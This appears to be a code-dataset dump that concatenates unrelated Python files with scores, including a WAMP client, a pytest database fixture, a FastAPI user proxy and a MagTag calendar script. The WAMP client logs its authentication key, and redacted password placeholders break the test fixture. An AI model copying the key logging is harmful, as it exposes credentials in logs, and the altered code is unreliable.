self.ConsoleLogger.addHandler(handler)
self.ConsoleLogger.setLevel(logging.INFO)
static_path = os.path.join(self.ProjPath, 'HlyDelays0-CSV')
if os.path.exists(static_path):
self.StaticDataPath = static_path
else:
self.StaticDataPath = None
Settings = Settings() | common/settings.py |
import os
import sys
import logging
import pytz
__author__ = "<NAME>"
class Settings:
"""Class to hold settings and paths
Attributes:
AppName: Application name
FooterLine: Frontend footer line
PyPath: computed path to the current script folder
ProjPath: project path, defaults to <PyPath>/..
PyVersion: major version of the Python interpreter (2 or 3)
S3BucketName: S3 bucket name
MBTA_TZ: time zone of MBTA GTFS feeds
MaxAbsDelay: maximum absolute value of valid delay calculation result,
if less than or equal to 0 then any value is considered valid
GTFS_ObsoleteAfterDays: number of days between the latest delays
calculation and the last day of a GTFS feed coverage for the feed to
be considered obsolete and to be stored compressed in S3
NumPartitions: used in Spark tasks to partition dataframe
ConsoleLogger: A logger writing to console
StaticDataPath: Path to static data in CSV local files (if they exist);
when set, indicates that only the data from those files should be used
"""
def __init__(self):
"""Initializes the instance"""
self.AppName = "my best transit app"
self.AppDesc = "The application collects General Transit Feed Specification (GTFS) Real-Time (RT) vehicle positions feeds (every 5 seconds) and GTFS schedule tables (once a day and only if there is an update)"
self.FooterLine = "<NAME>, Insight Data Engineering, Boston MA, Winter 2020"
self.PyPath = os.path.abspath(os.path.dirname(__file__))
self.ProjPath = os.path.join(self.PyPath, "..")
self.PyVersion = sys.version_info[0]
self.S3BucketName = "alxga-insde"
self.MBTA_TZ = pytz.timezone("US/Eastern")
self.MaxAbsDelay = 0
self.GTFS_ObsoleteAfterDays = 10
self.NumPartitions = 100
self.ConsoleLogger = logging.getLogger("console")
handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(logging.Formatter("%(message)s"))
self.ConsoleLogger.addHandler(handler)
self.ConsoleLogger.setLevel(logging.INFO)
static_path = os.path.join(self.ProjPath, 'HlyDelays0-CSV')
if os.path.exists(static_path):
self.StaticDataPath = static_path
else:
self.StaticDataPath = None
Settings = Settings() | 0.464902 | 0.308203 |
from django.core.management.base import BaseCommand
from twisted.internet import reactor
from twisted.internet.defer import Deferred, inlineCallbacks
from twisted.logger import Logger
from autobahn.twisted.util import sleep
from autobahn.twisted.wamp import ApplicationSession, ApplicationRunner
from autobahn.wamp import auth, types
from wampclient import conf
from channels import Channel, channel_layers
SLEEP_TIME = 1
# TODO:
# * session
class AppSession(ApplicationSession):
log = Logger()
channels = set([
'wamp.call',
'wamp.publish',
'wamp.subscribe',
'wamp.unsubscribe',
'wamp.register',
'wamp.unregister',
])
reply_channels = {}
subscriptions = {}
registrations = {}
def onConnect(self):
"""
Implements :func:`autobahn.wamp.interfaces.ISession.onConnect`
"""
if conf.WAMP_CONNECTION.get('AUTHID'):
self.join(self.config.realm, authmethods=['wampcra'], authid=conf.WAMP_CONNECTION['AUTHID'])
else:
super(AppSession, self).onConnect()
def onChallenge(self, challenge):
if challenge.method == "wampcra":
if 'salt' in challenge.extra:
# salted secret
key = auth.derive_key(
conf.WAMP_CONNECTION['AUTHSECRET'],
challenge.extra['salt'],
challenge.extra['iterations'],
challenge.extra['keylen'],
)
else:
# plain, unsalted secret
key = conf.WAMP_CONNECTION['AUTHSECRET']
signature = auth.compute_wcs(key, challenge.extra['challenge'])
self.log.info(key)
return signature
else:
raise Exception("don't know how to handle authmethod {}".format(challenge.method))
def forward_subscriber(self, func_path, topic, options=None):
def wrapped(*args, **kwargs):
payload = {
'func_path': func_path,
'topic': topic,
'args': args,
'kwargs': kwargs,
}
channel_name = 'wamp.events'
Channel(channel_name).send(payload)
self.log.info("registered subscriber for '{}'".format(topic))
if options is None:
options = types.SubscribeOptions()
return self.subscribe(wrapped, topic, options=options)
def forward_procedure(self, func_path, uri, options=None):
@inlineCallbacks
def wrapped(*args, **kwargs):
reply_channel_name = self.channel_layer.new_channel('{}?'.format(uri))
payload = {
'func_path': func_path,
'uri': uri,
'args': args,
'kwargs': kwargs,
'reply_channel': reply_channel_name,
}
channel = Channel('wamp.events')
channel.send(payload)
d = Deferred()
def cleanup(result):
self.channels.remove(reply_channel_name)
del self.reply_channels[reply_channel_name]
self.log.info('result: {}'.format(result['total']))
d.addCallback(cleanup)
self.channels.add(reply_channel_name)
self.reply_channels[reply_channel_name] = d
yield d
self.log.info("registered procedure for '{}'".format(uri))
if options is None:
options = types.RegisterOptions()
return self.register(wrapped, uri, options=options)
def forward_registration(self, reply_channel, registration):
msg = {
'id': registration.id,
'procedure': registration.procedure,
'active': registration.active,
'session': registration.session._session_id,
}
Channel(reply_channel).send(msg)
self.registrations[registration.id] = registration
def forward_subscription(self, reply_channel, subscription):
msg = {
'id': subscription.id,
'topic': subscription.topic,
'active': subscription.active,
'session': subscription.session._session_id,
}
Channel(reply_channel).send(msg)
self.subscriptions[subscription.id] = subscription
def warn(self, failure):
self.log.warn(failure.value.error_message())
@inlineCallbacks
def onJoin(self, details):
self.channel_layer = channel_layers["default"]
Channel('wamp.join').send({'session': details.session})
while self.is_connected():
yield self.publish('com.example.bonjour', 2, options=types.PublishOptions(exclude_me=False))
self.call('com.example.hello', 'hey!')
channel_name, result = self.channel_layer.receive_many(self.channels)
if channel_name is None:
yield sleep(SLEEP_TIME)
continue
elif channel_name == 'wamp.call':
uri = result['uri']
args = result.get('args', [])
kwargs = result.get('kwargs', {})
options = result.get('options', {})
if options:
kwargs['options'] = types.CallOptions(**options)
registration = self.call(uri, *args, **kwargs)
elif channel_name == 'wamp.publish':
topic = result['topic']
args = result.get('args', [])
kwargs = result.get('kwargs', {})
options = result.get('options', {})
if options:
kwargs['options'] = types.PublishOptions(**options)
self.publish(topic, *args, **kwargs)
elif channel_name == 'wamp.subscribe':
func_path = result['func_path']
topic = result['topic']
options = result.get('options', {}) or {}
subscribe_options = types.SubscribeOptions(**options)
subscription = yield self.forward_subscriber(func_path, topic, subscribe_options)
self.forward_subscription(result['reply_channel'], subscription)
elif channel_name == 'wamp.unsubscribe':
subscription_id = result['subscription_id']
subscription = self.subscriptions.pop(subscription_id)
yield subscription.unsubscribe()
elif channel_name == 'wamp.register':
func_path = result['func_path']
uri = result['uri']
options = result.get('options', {}) or {}
register_options = types.RegisterOptions(**options)
registration = yield self.forward_procedure(func_path, uri, register_options)
self.forward_registration(result['reply_channel'], registration)
elif channel_name == 'wamp.unregister':
registration_id = result['registration_id']
registration = self.subscriptions.pop(registration_id)
yield registration.unregister()
elif channel_name in self.reply_channels:
self.reply_channels[channel_name].callback(*result['args'], **result['kwargs'])
yield sleep(SLEEP_TIME)
self.log.info('disconnected!')
Channel('wamp.disconnect').send({
'reason': 'not connected',
})
self.disconnect()
reactor.stop()
class Command(BaseCommand):
def handle(self, *args, **options):
runner = ApplicationRunner(
conf.WAMP_CONNECTION['URL'],
conf.WAMP_CONNECTION['REALM'],
)
runner.run(AppSession) | wampclient/management/commands/wamp_client.py | from django.core.management.base import BaseCommand
from twisted.internet import reactor
from twisted.internet.defer import Deferred, inlineCallbacks
from twisted.logger import Logger
from autobahn.twisted.util import sleep
from autobahn.twisted.wamp import ApplicationSession, ApplicationRunner
from autobahn.wamp import auth, types
from wampclient import conf
from channels import Channel, channel_layers
SLEEP_TIME = 1
# TODO:
# * session
class AppSession(ApplicationSession):
log = Logger()
channels = set([
'wamp.call',
'wamp.publish',
'wamp.subscribe',
'wamp.unsubscribe',
'wamp.register',
'wamp.unregister',
])
reply_channels = {}
subscriptions = {}
registrations = {}
def onConnect(self):
"""
Implements :func:`autobahn.wamp.interfaces.ISession.onConnect`
"""
if conf.WAMP_CONNECTION.get('AUTHID'):
self.join(self.config.realm, authmethods=['wampcra'], authid=conf.WAMP_CONNECTION['AUTHID'])
else:
super(AppSession, self).onConnect()
def onChallenge(self, challenge):
if challenge.method == "wampcra":
if 'salt' in challenge.extra:
# salted secret
key = auth.derive_key(
conf.WAMP_CONNECTION['AUTHSECRET'],
challenge.extra['salt'],
challenge.extra['iterations'],
challenge.extra['keylen'],
)
else:
# plain, unsalted secret
key = conf.WAMP_CONNECTION['AUTHSECRET']
signature = auth.compute_wcs(key, challenge.extra['challenge'])
self.log.info(key)
return signature
else:
raise Exception("don't know how to handle authmethod {}".format(challenge.method))
def forward_subscriber(self, func_path, topic, options=None):
def wrapped(*args, **kwargs):
payload = {
'func_path': func_path,
'topic': topic,
'args': args,
'kwargs': kwargs,
}
channel_name = 'wamp.events'
Channel(channel_name).send(payload)
self.log.info("registered subscriber for '{}'".format(topic))
if options is None:
options = types.SubscribeOptions()
return self.subscribe(wrapped, topic, options=options)
def forward_procedure(self, func_path, uri, options=None):
@inlineCallbacks
def wrapped(*args, **kwargs):
reply_channel_name = self.channel_layer.new_channel('{}?'.format(uri))
payload = {
'func_path': func_path,
'uri': uri,
'args': args,
'kwargs': kwargs,
'reply_channel': reply_channel_name,
}
channel = Channel('wamp.events')
channel.send(payload)
d = Deferred()
def cleanup(result):
self.channels.remove(reply_channel_name)
del self.reply_channels[reply_channel_name]
self.log.info('result: {}'.format(result['total']))
d.addCallback(cleanup)
self.channels.add(reply_channel_name)
self.reply_channels[reply_channel_name] = d
yield d
self.log.info("registered procedure for '{}'".format(uri))
if options is None:
options = types.RegisterOptions()
return self.register(wrapped, uri, options=options)
def forward_registration(self, reply_channel, registration):
msg = {
'id': registration.id,
'procedure': registration.procedure,
'active': registration.active,
'session': registration.session._session_id,
}
Channel(reply_channel).send(msg)
self.registrations[registration.id] = registration
def forward_subscription(self, reply_channel, subscription):
msg = {
'id': subscription.id,
'topic': subscription.topic,
'active': subscription.active,
'session': subscription.session._session_id,
}
Channel(reply_channel).send(msg)
self.subscriptions[subscription.id] = subscription
def warn(self, failure):
self.log.warn(failure.value.error_message())
@inlineCallbacks
def onJoin(self, details):
self.channel_layer = channel_layers["default"]
Channel('wamp.join').send({'session': details.session})
while self.is_connected():
yield self.publish('com.example.bonjour', 2, options=types.PublishOptions(exclude_me=False))
self.call('com.example.hello', 'hey!')
channel_name, result = self.channel_layer.receive_many(self.channels)
if channel_name is None:
yield sleep(SLEEP_TIME)
continue
elif channel_name == 'wamp.call':
uri = result['uri']
args = result.get('args', [])
kwargs = result.get('kwargs', {})
options = result.get('options', {})
if options:
kwargs['options'] = types.CallOptions(**options)
registration = self.call(uri, *args, **kwargs)
elif channel_name == 'wamp.publish':
topic = result['topic']
args = result.get('args', [])
kwargs = result.get('kwargs', {})
options = result.get('options', {})
if options:
kwargs['options'] = types.PublishOptions(**options)
self.publish(topic, *args, **kwargs)
elif channel_name == 'wamp.subscribe':
func_path = result['func_path']
topic = result['topic']
options = result.get('options', {}) or {}
subscribe_options = types.SubscribeOptions(**options)
subscription = yield self.forward_subscriber(func_path, topic, subscribe_options)
self.forward_subscription(result['reply_channel'], subscription)
elif channel_name == 'wamp.unsubscribe':
subscription_id = result['subscription_id']
subscription = self.subscriptions.pop(subscription_id)
yield subscription.unsubscribe()
elif channel_name == 'wamp.register':
func_path = result['func_path']
uri = result['uri']
options = result.get('options', {}) or {}
register_options = types.RegisterOptions(**options)
registration = yield self.forward_procedure(func_path, uri, register_options)
self.forward_registration(result['reply_channel'], registration)
elif channel_name == 'wamp.unregister':
registration_id = result['registration_id']
registration = self.subscriptions.pop(registration_id)
yield registration.unregister()
elif channel_name in self.reply_channels:
self.reply_channels[channel_name].callback(*result['args'], **result['kwargs'])
yield sleep(SLEEP_TIME)
self.log.info('disconnected!')
Channel('wamp.disconnect').send({
'reason': 'not connected',
})
self.disconnect()
reactor.stop()
class Command(BaseCommand):
def handle(self, *args, **options):
runner = ApplicationRunner(
conf.WAMP_CONNECTION['URL'],
conf.WAMP_CONNECTION['REALM'],
)
runner.run(AppSession) | 0.467089 | 0.073663 |
import json
import random
import time
from adafruit_magtag.magtag import MagTag
weekdays = ("Mon", "Tues", "Wed", "Thurs", "Fri", "Sat", "Sun")
months = ("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec")
def main():
magtag = MagTag()
# Date label
magtag.add_text(
text_font="/fonts/SUPERSCR-24.pcf",
text_position=(130, 6),
text_anchor_point=(0.5,0),
is_data=False,
)
now = time.localtime()
magtag.set_background("/images/months/background-" + months[now.tm_mon - 1].lower() + ".bmp")
quotes = json.load(open("quotes.json"))
SEED = 1
random.seed(SEED)
quotes = sorted(quotes, key=lambda i: random.random())
# Start over every 6 months.
quote = quotes[(now.tm_yday - 1) % 183]
has_author = "author" in quote
def suffix(d):
return 'th' if 11<=d<=13 else {1:'st',2:'nd',3:'rd'}.get(d%10, 'th')
magtag.set_text("%s, %s %s%s" % (weekdays[now.tm_wday], months[now.tm_mon - 1], now.tm_mday, suffix(now.tm_mday)), auto_refresh=False)
position_no_author = (magtag.graphics.display.width // 2, magtag.graphics.display.height // 2 + 15 + quote.get("height-offset", 0))
position_with_author = (magtag.graphics.display.width // 2, magtag.graphics.display.height // 2 + 8 + quote.get("height-offset", 0))
# Quote label
magtag.add_text(
text_font="/fonts/hellovetica-8.pcf",
text_wrap=0 if "no-text-wrap" in quote else quote.get("text-wrap", 46),
line_spacing=1.2,
text_position=position_with_author if has_author else position_no_author,
text_anchor_point=(0.5, 0.5),
is_data=False,
)
magtag.set_text(quote["quote"], index=1, auto_refresh=False)
if has_author:
magtag.add_text(
text_font="/fonts/Arial-Italic-12.pcf",
line_spacing=1.2,
text_position=(magtag.graphics.display.width // 2 - 5, magtag.graphics.display.height - 10),
text_anchor_point=(0.5, 0.5),
is_data=False,
)
magtag.set_text("- " + quote["author"], index=2, auto_refresh=False)
magtag.refresh()
magtag.peripherals.deinit() | quotes_calendar.py | import json
import random
import time
from adafruit_magtag.magtag import MagTag
weekdays = ("Mon", "Tues", "Wed", "Thurs", "Fri", "Sat", "Sun")
months = ("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec")
def main():
magtag = MagTag()
# Date label
magtag.add_text(
text_font="/fonts/SUPERSCR-24.pcf",
text_position=(130, 6),
text_anchor_point=(0.5,0),
is_data=False,
)
now = time.localtime()
magtag.set_background("/images/months/background-" + months[now.tm_mon - 1].lower() + ".bmp")
quotes = json.load(open("quotes.json"))
SEED = 1
random.seed(SEED)
quotes = sorted(quotes, key=lambda i: random.random())
# Start over every 6 months.
quote = quotes[(now.tm_yday - 1) % 183]
has_author = "author" in quote
def suffix(d):
return 'th' if 11<=d<=13 else {1:'st',2:'nd',3:'rd'}.get(d%10, 'th')
magtag.set_text("%s, %s %s%s" % (weekdays[now.tm_wday], months[now.tm_mon - 1], now.tm_mday, suffix(now.tm_mday)), auto_refresh=False)
position_no_author = (magtag.graphics.display.width // 2, magtag.graphics.display.height // 2 + 15 + quote.get("height-offset", 0))
position_with_author = (magtag.graphics.display.width // 2, magtag.graphics.display.height // 2 + 8 + quote.get("height-offset", 0))
# Quote label
magtag.add_text(
text_font="/fonts/hellovetica-8.pcf",
text_wrap=0 if "no-text-wrap" in quote else quote.get("text-wrap", 46),
line_spacing=1.2,
text_position=position_with_author if has_author else position_no_author,
text_anchor_point=(0.5, 0.5),
is_data=False,
)
magtag.set_text(quote["quote"], index=1, auto_refresh=False)
if has_author:
magtag.add_text(
text_font="/fonts/Arial-Italic-12.pcf",
line_spacing=1.2,
text_position=(magtag.graphics.display.width // 2 - 5, magtag.graphics.display.height - 10),
text_anchor_point=(0.5, 0.5),
is_data=False,
)
magtag.set_text("- " + quote["author"], index=2, auto_refresh=False)
magtag.refresh()
magtag.peripherals.deinit() | 0.292292 | 0.09611 |
import os
import sys
import psycopg2
from psycopg2.extras import LoggingConnection
import pytest
from .db import TemporaryTable
connection_params = {
'dbname': os.getenv('POSTGRES_DB', 'pgcopy_test'),
'port': int(os.getenv('POSTGRES_PORT', '5432')),
'host': os.getenv('POSTGRES_HOST'),
'user': os.getenv('POSTGRES_USER'),
'password': <PASSWORD>('<PASSWORD>'),
}
@pytest.fixture(scope='session')
def db():
drop = create_db()
yield
if drop:
try:
drop_db()
except psycopg2.OperationalError:
pass
def connect(**kwargs):
kw = connection_params.copy()
kw.update(kwargs)
conn = psycopg2.connect(connection_factory=LoggingConnection, **kw)
conn.initialize(sys.stderr)
return conn
def create_db():
"connect to test db"
try:
connect().close()
return False
except psycopg2.OperationalError as exc:
nosuch_db = 'database "%s" does not exist' % connection_params['dbname']
if nosuch_db in str(exc):
try:
master = connect(dbname='postgres')
master.rollback()
master.autocommit = True
cursor = master.cursor()
cursor.execute('CREATE DATABASE %s' % connection_params['dbname'])
cursor.close()
master.close()
except psycopg2.Error as exc:
message = ('Unable to connect to or create test db '
+ connection_params['dbname']
+ '.\nThe error is: %s' % exc)
raise RuntimeError(message)
else:
return True
def drop_db():
"Drop test db"
master = connect(dbname='postgres')
master.rollback()
master.autocommit = True
cursor = master.cursor()
cursor.execute('DROP DATABASE %s' % connection_params['dbname'])
cursor.close()
master.close()
@pytest.fixture
def conn(request, db):
conn = connect()
conn.autocommit = False
conn.set_client_encoding(getattr(request, 'param', 'UTF8'))
cur = conn.cursor()
inst = request.instance
if isinstance(inst, TemporaryTable):
try:
cur.execute(inst.create_sql(inst.tempschema))
except psycopg2.ProgrammingError as e:
conn.rollback()
if '42704' == e.pgcode:
pytest.skip('Unsupported datatype')
cur.close()
yield conn
conn.rollback()
conn.close()
@pytest.fixture
def cursor(conn):
cur = conn.cursor()
yield cur
cur.close()
@pytest.fixture
def schema(request, cursor):
inst = request.instance
if isinstance(inst, TemporaryTable):
if not inst.tempschema:
return 'public'
cursor.execute("""
SELECT nspname
FROM pg_catalog.pg_namespace
WHERE oid = pg_catalog.pg_my_temp_schema()
""")
return cursor.fetchall()[0][0]
@pytest.fixture
def schema_table(request, schema):
inst = request.instance
if isinstance(inst, TemporaryTable):
return '{}.{}'.format(schema, inst.table)
@pytest.fixture
def data(request):
inst = request.instance
if isinstance(inst, TemporaryTable):
return inst.data or inst.generate_data(inst.record_count) | tests/conftest.py | import os
import sys
import psycopg2
from psycopg2.extras import LoggingConnection
import pytest
from .db import TemporaryTable
connection_params = {
'dbname': os.getenv('POSTGRES_DB', 'pgcopy_test'),
'port': int(os.getenv('POSTGRES_PORT', '5432')),
'host': os.getenv('POSTGRES_HOST'),
'user': os.getenv('POSTGRES_USER'),
'password': <PASSWORD>('<PASSWORD>'),
}
@pytest.fixture(scope='session')
def db():
drop = create_db()
yield
if drop:
try:
drop_db()
except psycopg2.OperationalError:
pass
def connect(**kwargs):
kw = connection_params.copy()
kw.update(kwargs)
conn = psycopg2.connect(connection_factory=LoggingConnection, **kw)
conn.initialize(sys.stderr)
return conn
def create_db():
"connect to test db"
try:
connect().close()
return False
except psycopg2.OperationalError as exc:
nosuch_db = 'database "%s" does not exist' % connection_params['dbname']
if nosuch_db in str(exc):
try:
master = connect(dbname='postgres')
master.rollback()
master.autocommit = True
cursor = master.cursor()
cursor.execute('CREATE DATABASE %s' % connection_params['dbname'])
cursor.close()
master.close()
except psycopg2.Error as exc:
message = ('Unable to connect to or create test db '
+ connection_params['dbname']
+ '.\nThe error is: %s' % exc)
raise RuntimeError(message)
else:
return True
def drop_db():
"Drop test db"
master = connect(dbname='postgres')
master.rollback()
master.autocommit = True
cursor = master.cursor()
cursor.execute('DROP DATABASE %s' % connection_params['dbname'])
cursor.close()
master.close()
@pytest.fixture
def conn(request, db):
conn = connect()
conn.autocommit = False
conn.set_client_encoding(getattr(request, 'param', 'UTF8'))
cur = conn.cursor()
inst = request.instance
if isinstance(inst, TemporaryTable):
try:
cur.execute(inst.create_sql(inst.tempschema))
except psycopg2.ProgrammingError as e:
conn.rollback()
if '42704' == e.pgcode:
pytest.skip('Unsupported datatype')
cur.close()
yield conn
conn.rollback()
conn.close()
@pytest.fixture
def cursor(conn):
cur = conn.cursor()
yield cur
cur.close()
@pytest.fixture
def schema(request, cursor):
inst = request.instance
if isinstance(inst, TemporaryTable):
if not inst.tempschema:
return 'public'
cursor.execute("""
SELECT nspname
FROM pg_catalog.pg_namespace
WHERE oid = pg_catalog.pg_my_temp_schema()
""")
return cursor.fetchall()[0][0]
@pytest.fixture
def schema_table(request, schema):
inst = request.instance
if isinstance(inst, TemporaryTable):
return '{}.{}'.format(schema, inst.table)
@pytest.fixture
def data(request):
inst = request.instance
if isinstance(inst, TemporaryTable):
return inst.data or inst.generate_data(inst.record_count) | 0.209066 | 0.071461 |
import uvicorn
import requests
import uuid
from fastapi import FastAPI, Path
from typing import Optional
from pydantic import BaseModel
from config.config import config
class User(BaseModel):
name: str
username: str = uuid.uuid4()
email: Optional[str] = None
phone: Optional[str] = None
website: Optional[str] = None
def toJson(self):
user = {
"name": self.name,
"username": self.username,
"email": self.email,
"phone": self.phone,
"website": self.website,
}
return user
class UpdateUser(User, BaseModel):
name: Optional[str] = None
username: Optional[str] = None
email: Optional[str] = None
phone: Optional[str] = None
website: Optional[str] = None
def toJson(self):
return super().toJson()
app = FastAPI()
@app.get("/")
def index():
try:
return {
"success": True,
"status": 200,
"data": {},
"statusMessages": ["Hola Mundo!"]
}
except Exception as e:
print(f'Error in index, {e}')
return {
"success": False,
"status": 500,
"data": {},
"statusMessages": [
"Internal Server error"
]
}
@app.get("/users")
def get_users(*, start: Optional[int] = 0, limit: Optional[int] = 3):
try:
users = requests.get(
f'{config.API_URL}/users/?_start={start}&_limit={limit}')
return {
"success": True,
"status": users.status_code,
"data": users.json(),
"statusMessages": ["Successfully fetched all users"]
}
except Exception as e:
print(f'Error fetching users, {e}')
return {
"success": False,
"status": 500,
"data": {},
"statusMessages": [
"Internal Server error"
]
}
@app.get("/user/{user_id}")
def get_user(user_id: int = Path(None, description="id of the user you want to view", ge=1, lt=333333)):
try:
user = requests.get(f'{config.API_URL}/users/{user_id}')
if user.ok:
return {
"success": True,
"status": user.status_code,
"data": [user.json()],
"statusMessages": ["Successfully fetched user details"]
}
return {
"success": False,
"status": 404,
"data": {},
"statusMessages": ["No user found with the given id"]
}
except Exception as e:
print(f'Error fetching user, {e}')
return {
"success": False,
"status": 500,
"data": {},
"statusMessages": [
"Internal Server error"
]
}
@app.post("/add-user")
def add_user(user: User):
try:
if not user.name:
return {
"success": False,
"status": 401,
"data": {},
"statusMessages": [
"Cannot create a user"
]
}
new_user = requests.post(f'{config.API_URL}/users', json=user.toJson())
return {
"success": True,
"status": new_user.status_code,
"data": new_user.json(),
"statusMessages": [
"Successfully created a new user"
]
}
except Exception as e:
print(f'Error adding user, {e}')
return {
"success": False,
"status": 500,
"data": {},
"statusMessages": [
"Internal Server error"
]
}
@app.put("/users/{user_id}")
def update_user(user_id: int, user: UpdateUser):
try:
user_exists = requests.get(f'{config.API_URL}/users/{user_id}')
if user_exists.ok:
payload = {
**user_exists.json(),
**user.toJson()
}
updated_user = requests.put(
f'{config.API_URL}/users/{user_id}', json=payload)
return {
"success": True,
"status": updated_user.status_code,
"data": updated_user.json(),
"statusMessages": [
"Successfully updated user"
],
}
return {
"success": False,
"status": 404,
"data": {},
"statusMessages": ["No user found with the given id"]
}
except Exception as e:
print(f'Error updating user, {e}')
return {
"success": False,
"status": 500,
"data": {},
"statusMessages": [
"Internal Server error"
]
}
@app.delete("/users/{user_id}")
def delete_user(user_id: int):
try:
user_exists = requests.get(f'{config.API_URL}/users/{user_id}')
if user_exists.ok:
removed_user = requests.delete(
f'{config.API_URL}/users/{user_id}')
return {
"success": True,
"status": removed_user.status_code,
"data": removed_user.json(),
"statusMessages": [
"Successfully deleted a user"
],
}
return {
"success": False,
"status": 404,
"data": {},
"statusMessages": ["No user found with the given id"]
}
except Exception as e:
print(f'Error deleting users, {e}')
return {
"success": False,
"status": 500,
"data": {},
"statusMessages": [
"Internal Server error"
]
}
if __name__ == "__main__":
uvicorn.run("main:app", host=config.HOST,
port=config.PORT, log_level=config.LOG_LEVEL) | src/main.py | import uvicorn
import requests
import uuid
from fastapi import FastAPI, Path
from typing import Optional
from pydantic import BaseModel
from config.config import config
class User(BaseModel):
name: str
username: str = uuid.uuid4()
email: Optional[str] = None
phone: Optional[str] = None
website: Optional[str] = None
def toJson(self):
user = {
"name": self.name,
"username": self.username,
"email": self.email,
"phone": self.phone,
"website": self.website,
}
return user
class UpdateUser(User, BaseModel):
name: Optional[str] = None
username: Optional[str] = None
email: Optional[str] = None
phone: Optional[str] = None
website: Optional[str] = None
def toJson(self):
return super().toJson()
app = FastAPI()
@app.get("/")
def index():
try:
return {
"success": True,
"status": 200,
"data": {},
"statusMessages": ["Hola Mundo!"]
}
except Exception as e:
print(f'Error in index, {e}')
return {
"success": False,
"status": 500,
"data": {},
"statusMessages": [
"Internal Server error"
]
}
@app.get("/users")
def get_users(*, start: Optional[int] = 0, limit: Optional[int] = 3):
try:
users = requests.get(
f'{config.API_URL}/users/?_start={start}&_limit={limit}')
return {
"success": True,
"status": users.status_code,
"data": users.json(),
"statusMessages": ["Successfully fetched all users"]
}
except Exception as e:
print(f'Error fetching users, {e}')
return {
"success": False,
"status": 500,
"data": {},
"statusMessages": [
"Internal Server error"
]
}
@app.get("/user/{user_id}")
def get_user(user_id: int = Path(None, description="id of the user you want to view", ge=1, lt=333333)):
try:
user = requests.get(f'{config.API_URL}/users/{user_id}')
if user.ok:
return {
"success": True,
"status": user.status_code,
"data": [user.json()],
"statusMessages": ["Successfully fetched user details"]
}
return {
"success": False,
"status": 404,
"data": {},
"statusMessages": ["No user found with the given id"]
}
except Exception as e:
print(f'Error fetching user, {e}')
return {
"success": False,
"status": 500,
"data": {},
"statusMessages": [
"Internal Server error"
]
}
@app.post("/add-user")
def add_user(user: User):
try:
if not user.name:
return {
"success": False,
"status": 401,
"data": {},
"statusMessages": [
"Cannot create a user"
]
}
new_user = requests.post(f'{config.API_URL}/users', json=user.toJson())
return {
"success": True,
"status": new_user.status_code,
"data": new_user.json(),
"statusMessages": [
"Successfully created a new user"
]
}
except Exception as e:
print(f'Error adding user, {e}')
return {
"success": False,
"status": 500,
"data": {},
"statusMessages": [
"Internal Server error"
]
}
@app.put("/users/{user_id}")
def update_user(user_id: int, user: UpdateUser):
try:
user_exists = requests.get(f'{config.API_URL}/users/{user_id}')
if user_exists.ok:
payload = {
**user_exists.json(),
**user.toJson()
}
updated_user = requests.put(
f'{config.API_URL}/users/{user_id}', json=payload)
return {
"success": True,
"status": updated_user.status_code,
"data": updated_user.json(),
"statusMessages": [
"Successfully updated user"
],
}
return {
"success": False,
"status": 404,
"data": {},
"statusMessages": ["No user found with the given id"]
}
except Exception as e:
print(f'Error updating user, {e}')
return {
"success": False,
"status": 500,
"data": {},
"statusMessages": [
"Internal Server error"
]
}
@app.delete("/users/{user_id}")
def delete_user(user_id: int):
try:
user_exists = requests.get(f'{config.API_URL}/users/{user_id}')
if user_exists.ok:
removed_user = requests.delete(
f'{config.API_URL}/users/{user_id}')
return {
"success": True,
"status": removed_user.status_code,
"data": removed_user.json(),
"statusMessages": [
"Successfully deleted a user"
],
}
return {
"success": False,
"status": 404,
"data": {},
"statusMessages": ["No user found with the given id"]
}
except Exception as e:
print(f'Error deleting users, {e}')
return {
"success": False,
"status": 500,
"data": {},
"statusMessages": [
"Internal Server error"
]
}
if __name__ == "__main__":
uvicorn.run("main:app", host=config.HOST,
port=config.PORT, log_level=config.LOG_LEVEL) | 0.675444 | 0.178365 |
import warnings
from pathlib import Path
import numpy as np
import pandas as pd
from scipy import stats
from skimage import morphology
from matplotlib import pyplot as plt
from matplotlib import (patheffects, colors)
import aplpy
import pyspeckit
from pyspeckit.spectrum.models import ammonia
import radio_beam
from astropy.io import fits
from astropy import units as u
from astropy import (convolution, coordinates, wcs)
from . import (PDir, read_cube, MOL_NAMES, RESTFREQS, TARGETS, VELOS)
# Percent point function, inverse of normal cumulative distribution function
MAD_K = 1 / stats.norm.ppf(0.75)
def calc_errmap(cube, pbeam_cube, chans=10):
"""
Calculate the image cube RMS using the (MAD * 1.4826) over the specified
number of channels at the start of the cube.
"""
values = np.ravel(cube.to(u.K)[:chans,:,:])
med = np.nanmedian(values)
mad = np.nanmedian(np.abs(med - values))
rms = MAD_K * mad
errmap = np.nan_to_num(rms / pbeam_cube[0,:,:].value)
return errmap
def default_mask(hdul, threshold=0.001):
"""
Parameters
----------
hdul : astropy.io.fits.hdu.hdulist.HDUList
threshold : number, default 0.001
Threshold chosen to be approximately 4-sigma from matched-filter cube
(mf) of G28539 NH3 (1,1) cube
"""
data = hdul[0].data.copy()
mask = np.nan_to_num(data) > threshold
mask = morphology.remove_small_objects(mask, min_size=40)
mask = morphology.opening(mask, morphology.disk(1))
return mask
def calc_peak_index(hdul):
data = hdul[0].data
ymax, xmax = np.unravel_index(np.nanargmax(data), data.shape)
return xmax, ymax
def calc_snr_peak(cube, ix, errmap):
"""
Calculate peak SNR from cube. Cube and error map should be consistent
depending on whether they have been corrected for primary beam attenuation.
The index ordering should match `calc_peak_index`.
Parameters
----------
cube : spectral_cube.SpectralCube
ix : tuple
errmap : np.ndarray
"""
spec = cube.to(u.K)[:,ix[1],ix[0]]
rms = errmap[ix[1],ix[0]]
snr = spec.max().value / rms
return snr
def make_pyspeckit_cubestack(cubes, mask):
"""
Converts the cubes to use a frequency axis and brightness temperature
units, then initializes the `pyspeckit.CubeStack`
Parameters
----------
cubes : list
mask : np.ndarray
"""
pysk_cubes = []
for cube in cubes:
cube = cube.with_spectral_unit(u.GHz).to(u.K)
pysk_cubes.append(pyspeckit.Cube(cube=cube, maskmap=mask))
stack = pyspeckit.CubeStack(pysk_cubes, maskmap=mask)
if not 'cold_ammonia' in stack.specfit.Registry.multifitters:
stack.specfit.Registry.add_fitter(
'cold_ammonia', ammonia.cold_ammonia_model(), 6)
return stack
def insert_parcube_header_keywords(hdu):
header_params = [
('PLANE1', 'TKIN'),
